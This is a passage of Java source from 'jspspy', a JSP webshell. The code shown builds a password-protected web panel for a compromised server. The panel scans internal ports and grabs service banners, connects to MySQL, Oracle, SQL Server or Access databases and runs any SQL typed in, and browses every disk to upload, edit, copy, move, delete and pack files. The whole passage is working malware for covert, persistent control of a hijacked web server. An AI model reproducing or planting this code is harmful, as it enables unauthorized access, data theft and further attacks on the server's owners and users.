952 "IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
953 "</p>"+
954 "</form></div>"+
955 "</td></tr></table>");
956 } catch (Exception e) {
957
958 throw e ;
959 }
960 }
961 }
962 private static class PortScanInvoker extends DefaultInvoker {
963 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
964 try {
965 PrintWriter out = response.getWriter();
966 ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
967 out.println("<hr/>");
968 String ip = request.getParameter("ip");
969 String ports = request.getParameter("ports");
970 String timeout = request.getParameter("timeout");
971 String banner = request.getParameter("banner");
972 int iTimeout = 0;
973 if (Util.isEmpty(ip) || Util.isEmpty(ports))
974 return;
975 if (!Util.isInteger(timeout)) {
976 timeout = "2";
977 }
978 iTimeout = Integer.parseInt(timeout);
979 Map rs = new LinkedHashMap();
980 String[] portArr = ports.split(",");
981 for (int i =0;i<portArr.length;i++) {
982 String port = portArr[i];
983 BufferedReader r = null;
984 try {
985 Socket s = new Socket();
986 s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
987 s.setSoTimeout(iTimeout);
988 if (!Util.isEmpty(banner)) {
989 r = new BufferedReader(new InputStreamReader(s.getInputStream()));
990 StringBuffer sb = new StringBuffer();
991 String b = r.readLine();
992 while (b != null) {
993 sb.append(b+" ");
994 try {
995 b = r.readLine();
996 } catch (Exception e) {
997 break;
998 }
999 }
1000 rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
1001 r.close();
1002 } else {
1003 rs.put(port,"Open");
1004 }
1005 s.close();
1006 } catch (Exception e) {
1007 if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
1008 rs.put(port,"Open <span style=\"color:grey;font-weight:normal\"><<No Banner!>></span>");
1009 if (r != null)
1010 r.close();
1011 } else {
1012 rs.put(port,"Close");
1013 }
1014 }
1015 }
1016 out.println("<div style='margin:10px'>");
1017 Set entrySet = rs.entrySet();
1018 Iterator it = entrySet.iterator();
1019 while (it.hasNext()) {
1020 Map.Entry e = (Map.Entry)it.next();
1021 String port = (String)e.getKey();
1022 String value = (String)e.getValue();
1023 out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
1024 }
1025 out.println("</div>");
1026 } catch (Exception e) {
1027
1028 throw e ;
1029 }
1030 }
1031 }
1032 private static class VConnInvoker extends DefaultInvoker {
1033 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1034 try {
1035 PrintWriter out = response.getWriter();
1036 Object obj = JSession.getAttribute(DBO);
1037 if (obj == null || !((DBOperator)obj).isValid()) {
1038 out.println(" <script type=\"text/javascript\">"+
1039 " function changeurldriver(){"+
1040 " var form = document.forms[\"form1\"];"+
1041 " var v = form.elements[\"db\"].value;"+
1042 " form.elements[\"url\"].value = v.split(\"`\")[1];"+
1043 " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1044 " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1045 " }"+
1046 " </script>");
1047 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1048 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1049 "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
1050 "<h2>DataBase Manager »</h2>"+
1051 "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1052 "<p>"+
1053 "Driver:"+
1054 " <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
1055 "URL:"+
1056 "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1057 "UID:"+
1058 "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1059 "PWD:"+
1060 "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1061 "DataBase:"+
1062 " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1063 " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1064 " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1065 " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1066 " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
1067 " <option value=' ` '>Other</option>"+
1068 " </select>"+
1069 "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1070 "</p>"+
1071 "</form></table><script>changeurldriver()</script>");
1072 } else {
1073 ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1074 }
1075 } catch (ClassCastException e) {
1076 throw e;
1077 } catch (Exception e) {
1078
1079 throw e ;
1080 }
1081 }
1082 }
1083 //DBConnect
1084 private static class DbcInvoker extends DefaultInvoker {
1085 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1086 try {
1087 PrintWriter out = response.getWriter();
1088 String driver = request.getParameter("driver");
1089 String url = request.getParameter("url");
1090 String uid = request.getParameter("uid");
1091 String pwd = request.getParameter("pwd");
1092 String sql = request.getParameter("sql");
1093 String selectDb = request.getParameter("selectDb");
1094 if (selectDb == null)
1095 selectDb = JSession.getAttribute("selectDb").toString();
1096 else
1097 JSession.setAttribute("selectDb",selectDb);
1098 Object dbo = JSession.getAttribute(DBO);
1099 if (dbo == null || !((DBOperator)dbo).isValid()) {
1100 if (dbo != null)
1101 ((DBOperator)dbo).close();
1102 dbo = new DBOperator(driver,url,uid,pwd,true);
1103 } else {
1104 if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
1105 DBOperator oldDbo = (DBOperator)dbo;
1106 dbo = new DBOperator(driver,url,uid,pwd);
1107 if (!oldDbo.equals(dbo)) {
1108 ((DBOperator)oldDbo).close();
1109 ((DBOperator)dbo).connect();
1110 } else {
1111 dbo = oldDbo;
1112 }
1113 }
1114 }
1115 DBOperator Ddbo = (DBOperator)dbo;
1116 JSession.setAttribute(DBO,Ddbo);
1117 if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
1118 Ddbo.getConn().setCatalog(request.getParameter("catalog"));
1119 }
1120 Util.outMsg(out,"Connect To DataBase Success!");
1121 out.println(" <script type=\"text/javascript\">"+
1122 " function changeurldriver(selectDb){"+
1123 " var form = document.forms[\"form1\"];"+
1124 " if (selectDb){"+
1125 " form.elements[\"db\"].selectedIndex = selectDb"+
1126 " }"+
1127 " var v = form.elements[\"db\"].value;"+
1128 " form.elements[\"url\"].value = v.split(\"`\")[1];"+
1129 " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1130 " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1131 " }"+
1132 " </script>");
1133 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1134 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1135 "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
1136 "<h2>DataBase Manager »</h2>"+
1137 "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1138 "<p>"+
1139 "Driver:"+
1140 " <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
1141 "URL:"+
1142 "<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1143 "UID:"+
1144 "<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1145 "PWD:"+
1146 "<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1147 "DataBase:"+
1148 " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1149 " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1150 " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1151 " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1152 " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
1153 " <option value=' ` '>Other</option>"+
1154 " </select>"+
1155 "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1156 "</p>"+
1157 "</form><script>changeurldriver('"+selectDb+"')</script>");
1158 DatabaseMetaData meta = Ddbo.getConn().getMetaData();
1159 out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
1160 "<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
1161 out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
1162 out.println("<option value='0'>-- Select a DataBase --</option>");
1163 ResultSet dbs = meta.getCatalogs();
1164 try {
1165 while (dbs.next()){
1166 out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
1167 }
1168 }catch(Exception ex) {
1169 }
1170 dbs.close();
1171 out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
1172 if (Util.isEmpty(sql)) {
1173 String type = request.getParameter("type");
1174 if (Util.isEmpty(type) || type.equals("switch")) {
1175 ResultSet tbs = meta.getTables(null,null,null,null);
1176 out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
1177 tbs.close();
1178 } else if (type.equals("struct")) {
1179 String tb = request.getParameter("table");
1180 if (Util.isEmpty(tb))
1181 return;
1182 ResultSet t = meta.getColumns(null,null,tb,null);
1183 out.println(Table.rs2Table(t,"",false));
1184 t.close();
1185 }
1186 }
1187 } catch (Exception e) {
1188 JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
1189 throw e;
1190 }
1191 }
1192 }
1193 private static class ExecuteSQLInvoker extends DefaultInvoker{
1194 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1195 try {
1196 PrintWriter out = response.getWriter();
1197 String sql = request.getParameter("sql");
1198 String db = request.getParameter("selectDb");
1199 Object dbo = JSession.getAttribute(DBO);
1200 if (!Util.isEmpty(sql)) {
1201 if (dbo == null || !((DBOperator)dbo).isValid()) {
1202 ((Invoker)ins.get("vConn")).invoke(request,response,JSession);
1203 return;
1204 } else {
1205 ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1206 Object obj = ((DBOperator)dbo).execute(sql);
1207 if (obj instanceof ResultSet) {
1208 ResultSet rs = (ResultSet)obj;
1209 ResultSetMetaData meta = rs.getMetaData();
1210 int colCount = meta.getColumnCount();
1211 out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
1212 out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
1213 for (int i=1;i<=colCount;i++) {
1214 out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
1215 }
1216 out.println("</tr>");
1217 Table tb = new Table();
1218 while(rs.next()) {
1219 Row r = new Row();
1220 for (int i = 1;i<=colCount;i++) {
1221 String v = null;
1222 try {
1223 v = rs.getString(i);
1224 } catch (SQLException ex) {
1225 v = "<<Error!>>";
1226 }
1227 r.addColumn(new Column(v));
1228 }
1229 tb.addRow(r);
1230 }
1231 out.println(tb.toString());
1232 out.println("</table><br/>");
1233 rs.close();
1234 ((DBOperator)dbo).closeStmt();
1235 } else {
1236 out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
1237 }
1238 }
1239 } else {
1240 ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1241 }
1242 } catch (Exception e) {
1243
1244 throw e ;
1245 }
1246 }
1247 }
1248 private static class VLoginInvoker extends DefaultInvoker {
1249 public boolean doBefore() {return false;}
1250 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1251 try {
1252 PrintWriter out = response.getWriter();
1253 out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
1254 " input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
1255 "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
1256 " </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
1257 "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
1258 " <p><span style=\"font:11px Verdana;\">Password: </span>"+
1259 " <input name=\"o\" type=\"hidden\" value=\"login\">"+
1260 " <input name=\"pw\" type=\"password\" size=\"20\">"+
1261 " <input type=\"hidden\" name=\"o\" value=\"login\">"+
1262 " <input type=\"submit\" value=\"Login\"><br/>"+
1263 "<!--<span style=\"font:11px Verdana;\">Copyright © 2009 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
1264 " </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
1265 } catch (Exception e) {
1266
1267 throw e ;
1268 }
1269 }
1270 }
1271 private static class LoginInvoker extends DefaultInvoker{
1272 public boolean doBefore() {return false;}
1273 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1274 try {
1275 String inputPw = request.getParameter("pw");
1276 if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
1277 ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1278 return;
1279 } else {
1280 JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
1281 response.sendRedirect(SHELL_NAME);
1282 return;
1283 }
1284 } catch (Exception e) {
1285
1286 throw e ;
1287 }
1288 }
1289 }
1290 private static class MyComparator implements Comparator{
1291 public int compare(Object obj1,Object obj2) {
1292 try {
1293 if (obj1 != null && obj2 != null) {
1294 File f1 = (File)obj1;
1295 File f2 = (File)obj2;
1296 if (f1.isDirectory()) {
1297 if (f2.isDirectory()) {
1298 return f1.getName().compareTo(f2.getName());
1299 } else {
1300 return -1;
1301 }
1302 } else {
1303 if (f2.isDirectory()) {
1304 return 1;
1305 } else {
1306 return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
1307 }
1308 }
1309 }
1310 return 0;
1311 } catch (Exception e) {
1312 return 0;
1313 }
1314 }
1315 }
1316 private static class FileListInvoker extends DefaultInvoker {
1317 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
1318 try {
1319 String path2View = null;
1320 PrintWriter out = response.getWriter();
1321 String path = request.getParameter("folder");
1322 String outEntry = request.getParameter("outentry");
1323 if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
1324 JSession.removeAttribute(ENTER);
1325 JSession.removeAttribute(ENTER_MSG);
1326 JSession.removeAttribute(ENTER_CURRENT_DIR);
1327 }
1328 Object enter = JSession.getAttribute(ENTER);
1329 File file = null;
1330 if (!Util.isEmpty(enter)) {
1331 if (Util.isEmpty(path)) {
1332 if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
1333 path = "/";
1334 else
1335 path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
1336 }
1337 file = new EnterFile(path);
1338 ((EnterFile)file).setZf((String)enter);
1339 JSession.setAttribute(ENTER_CURRENT_DIR,path);
1340 } else {
1341 if (Util.isEmpty(path))
1342 path = JSession.getAttribute(CURRENT_DIR).toString();
1343 JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
1344 file = new File(path);
1345 }
1346 path2View = Util.convertPath(path);
1347 if (!file.exists()) {
1348 throw new Exception(path+"Dont Exists !");
1349 }
1350 File[] list = file.listFiles();
1351 Arrays.sort(list,new MyComparator());
1352 out.println("<div style='margin:10px'>");
1353 String cr = null;
1354 try {
1355 cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
1356 }catch(Exception e) {
1357 cr = "/";
1358 }
1359 File currentRoot = new File(cr);
1360 out.println("<h2>File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)</h2>");
1361 out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
1362 "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
1363 " <tr>"+
1364 " <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
1365 " <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
1366 " <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
1367 " </tr>"+
1368 "</table>"+
1369 "</form>");
1370 out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
1371 "<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
1372 "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
1373 "<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
1374 " | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
1375 " | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
1376 " | ");
1377 File[] roots = file.listRoots();
1378 for (int i = 0;i<roots.length;i++) {
1379 File r = roots[i];
1380 out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
1381 if (i != roots.length -1) {
1382 out.println("|");
1383 }
1384 }
1385 out.println("</td>"+
1386 "</tr></form>"+
1387 "<tr class=\"head\"><td> </td>"+
1388 " <td>Name</td>"+
1389 " <td width=\"16%\">Last Modified</td>"+
1390 " <td width=\"10%\">Size</td>"+
1391 " <td width=\"20%\">Read/Write/Execute</td>"+
1392 " <td width=\"22%\"> </td>"+
1393 "</tr>");
1394 if (file.getParent() != null) {
1395 out.println("<tr class=alt1>"+
1396 "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
1397 "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
1398 "</tr>");
1399 }
1400 int dircount = 0;
1401 int filecount = 0;
1402 for (int i = 0;i<list.length;i++) {
1403 File f = list[i];
1404 if (f.isDirectory()) {
1405 dircount ++;
1406 out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
1407 "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
1408 "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
1409 "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1410 "<td nowrap>--</td>"+
1411 "<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
1412 "<td nowrap>");
1413 if (enter != null)
1414 out.println(" ");
1415 else
1416 out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
1417 out.println("</td></tr>");
1418 } else {
1419 filecount++;
1420 out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
1421 "<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
1422 "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
1423 "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1424 "<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
1425 "<td nowrap>"+
1426 ""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
1427 "<td nowrap>"+
1428 "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
1429 "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
1430 "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
1431 if (enter == null ) {
1432 out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
1433 "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
1434 "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
1435 if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
1436 out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
1437 } else if (f.getName().endsWith(".rar")) {
1438 out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
1439 } else {
1440 out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
1441 }
1442 }
1443 out.println("</td></tr>");
1444 }
1445 }
1446 out.println("<tr class=\"alt2\"><td align=\"center\"> </td>"+
1447 " <td>");
1448 if (enter != null)
1449 out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
1450 else
1451 out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
1452 out.println("</td>"+
1453 " <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
1454 "</table>");
1455 out.println("</div>");
1456 if (file instanceof EnterFile)
1457 ((EnterFile)file).close();
1458 } catch (ZipException e) {
1459 JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
1460 throw e;
1461 } catch (Exception e) {
1462 JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
1463 throw e;
1464 }
1465 }
1466 }
1467 private static class LogoutInvoker extends DefaultInvoker {
1468 public boolean doBefore() {return false;}
1469 public boolean doAfter() {return false;}
1470 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1471 try {
1472 Object dbo = JSession.getAttribute(DBO);
1473 if (dbo != null)
1474 ((DBOperator)dbo).close();
1475 Object obj = JSession.getAttribute(PORT_MAP);
1476 if (obj != null) {
1477 ServerSocket s = (ServerSocket)obj;
1478 s.close();
1479 }
1480 Object online = JSession.getAttribute(SHELL_ONLINE);
1481 if (online != null)
1482 ((OnLineProcess)online).stop();
1483 JSession.invalidate();
1484 ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1485 } catch (ClassCastException e) {
1486 JSession.invalidate();
1487 ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1488 } catch (Exception e) {
1489
1490 throw e ;
1491 }
1492 }
1493 }
1494 private static class UploadInvoker extends DefaultInvoker {
1495 public boolean doBefore() {return false;}
1496 public boolean doAfter() {return false;}
1497 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1498 try {
1499 UploadBean fileBean = new UploadBean();
1500 response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
1501 fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
1502 fileBean.parseRequest(request);
1503 JSession.setAttribute(MSG,"Upload File Success!");
1504 response.sendRedirect(SHELL_NAME);
1505 } catch (Exception e) {
1506
1507 throw e ;
1508 }
1509 }
1510 }
1511 private static class CopyInvoker extends DefaultInvoker {
1512 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1513 try {
1514 String src = request.getParameter("src");
1515 String to = request.getParameter("to");
1516 InputStream in = null;
1517 Object enter = JSession.getAttribute(ENTER);
1518 if (enter == null)
1519 in = new FileInputStream(new File(src));
1520 else {
1521 ZipFile zf = new ZipFile((String)enter);
1522 ZipEntry entry = zf.getEntry(src);
1523 in = zf.getInputStream(entry);
1524 }
1525 BufferedInputStream input = new BufferedInputStream(in);
1526 BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
1527 byte[] d = new byte[1024];
1528 int len = input.read(d);
1529 while(len != -1) {
1530 output.write(d,0,len);
1531 len = input.read(d);
1532 }
1533 output.close();
1534 input.close();
1535 JSession.setAttribute(MSG,"Copy File Success!");
1536 response.sendRedirect(SHELL_NAME);
1537 } catch (Exception e) {
1538
1539 throw e ;
1540 }
1541 }
1542 }
1543 private static class BottomInvoker extends DefaultInvoker {
1544 public boolean doBefore() {return false;}
1545 public boolean doAfter() {return false;}
1546 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1547 try {
1548 response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a> <a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
1549 "</div>");
1550 } catch (Exception e) {
1551
1552 throw e ;
1553 }
1554 }
1555 }
1556 private static class VCreateFileInvoker extends DefaultInvoker {
1557 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1558 try {
1559 PrintWriter out = response.getWriter();
1560 String path = request.getParameter("filepath");
1561 File f = new File(path);
1562 if (!f.isAbsolute()) {
1563 String oldPath = path;
1564 path = JSession.getAttribute(CURRENT_DIR).toString();
1565 if (!path.endsWith("/"))
1566 path+="/";
1567 path+=oldPath;
1568 f = new File(path);
1569 f.createNewFile();
1570 } else {
1571 f.createNewFile();
1572 }
1573 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1574 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1575 "<h2>Create / Edit File »</h2>"+
1576 "<input type='hidden' name='o' value='createFile'>"+
